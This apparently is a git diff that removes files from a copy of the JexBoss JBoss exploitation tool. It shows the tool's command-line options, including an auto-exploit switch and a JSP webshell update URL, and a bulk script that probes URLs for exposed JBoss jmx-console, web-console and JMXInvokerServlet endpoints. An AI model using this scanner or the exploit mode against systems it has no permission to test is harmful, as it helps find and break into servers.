||||
" | |\n"
|
||||
" | @author: João Filho Matos Figueiredo |\n"
|
||||
" | @contact: joaomatosf@gmail.com |\n"
|
||||
" | |\n"
|
||||
" | @update: https://github.com/joaomatosf/jexboss |\n"
|
||||
" #______________________________________________________#\n"
|
||||
" @version: "+__version+"\n"+ help_usage()),
|
||||
epilog="",
|
||||
prog="JexBoss"
|
||||
)
|
||||
|
||||
group_standalone = parser.add_argument_group('Standalone mode')
|
||||
group_auto_scan = parser.add_argument_group('Auto scan mode')
|
||||
group_file_scan = parser.add_argument_group('File scan mode')
|
||||
|
||||
parser.add_argument('--version', action='version', version='%(prog)s ' + __version)
|
||||
parser.add_argument("--auto-exploit", "-A",
|
||||
help="Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!)",
|
||||
action='store_true')
|
||||
parser.add_argument("--disable-check-updates", "-D", help="Disable the check for updates performed by JSP Webshell at: http://webshell.jexboss.net/jsp_version.txt",
|
||||
action='store_true')
|
||||
parser.add_argument('-mode', help="Operation mode", choices=['standalone', 'auto-scan', 'file-scan'], default='standalone')
|
||||
|
||||
group_standalone.add_argument("-host", help="Host address to be checked (eg. http://192.168.0.10:8080)",
|
||||
type=str)
|
||||
group_auto_scan.add_argument("-network", help="Network to be checked in CIDR format (eg. 10.0.0.0/8)",
|
||||
type=network_args, default='192.168.0.0/24')
|
||||
group_auto_scan.add_argument("-ports",
|
||||
help="List of ports separated by commas to be checked for each host (eg. 8080,8443,8888,80,443)", type=str, default='8080,80')
|
||||
group_auto_scan.add_argument("-results",
|
||||
help="File name to store the auto scan results", type=str, metavar='FILENAME', default='jexboss_auto_scan_results.log')
|
||||
|
||||
group_file_scan.add_argument("-file", help="Filename with host list to be scanned (one host per line)", type=str, metavar='FILENAME_HOSTS')
|
||||
group_file_scan.add_argument("-out", help="File name to store the file scan results", type=str, metavar='FILENAME_RESULTS', default='jexboss_file_scan_results.log')
|
||||
|
||||
gl_args = parser.parse_args()
|
||||
|
||||
#if 'h' not in gl_args and gl_args.host == None:
|
||||
# parser.print_help()
|
||||
|
||||
if gl_args.mode == 'standalone' and gl_args.host == None or \
|
||||
gl_args.mode == 'file-scan' and gl_args.file == None:
|
||||
banner()
|
||||
exit(0)
|
||||
else:
|
||||
main()
|
||||
|
|
@ -1,62 +0,0 @@
|
|||
"""
|
||||
Check URLs for JBoss vulnerabilities in bulk and output results to a CSV file
|
||||
|
||||
Copyright 2016 Sean Whalen
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
"""
|
||||
|
||||
from argparse import ArgumentParser
|
||||
from csv import DictWriter
|
||||
|
||||
from jexboss import check_vul
|
||||
|
||||
__version__ = "1.0.0"
|
||||
__author__ = "Sean Whalen - @SeanTheGeek"
|
||||
|
||||
args = ArgumentParser(description=__doc__)
|
||||
args.add_argument("input", help="Path to the input file")
|
||||
args.add_argument("output", help="Path to the output file")
|
||||
args = args.parse_args()
|
||||
|
||||
paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
|
||||
"web-console" : "/web-console/ServerInfo.jsp",
|
||||
"JMXInvokerServlet": "/invoker/JMXInvokerServlet"}
|
||||
|
||||
results = []
|
||||
|
||||
with open(args.input, "r") as input_file:
|
||||
urls = input_file.readlines()
|
||||
|
||||
|
||||
for url in urls:
|
||||
if url == "":
|
||||
continue
|
||||
if not url.startswith("http"):
|
||||
url = "http://{0}".format(url)
|
||||
url = url.strip()
|
||||
if url.endswith("/"):
|
||||
url = url[:-1]
|
||||
|
||||
url_results = check_vul(url)
|
||||
for key in url_results.keys():
|
||||
if url_results[key] == 200 or url_results[key] == 500:
|
||||
full_url = "{0}{1}".format(url, paths[key])
|
||||
result = dict(base_url=url, vulnerability=key, full_url=full_url, status_code=url_results[key])
|
||||
results.append(result)
|
||||
|
||||
fields = ["base_url", "vulnerability", "full_url", "status_code"]
|
||||
with open(args.output, "w") as output_file:
|
||||
writer = DictWriter(output_file, fields)
|
||||
writer.writeheader()
|
||||
writer.writerows(results)
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
urllib3
|
||||
ipaddress
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 280 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 202 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 277 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 163 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 233 KiB |
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue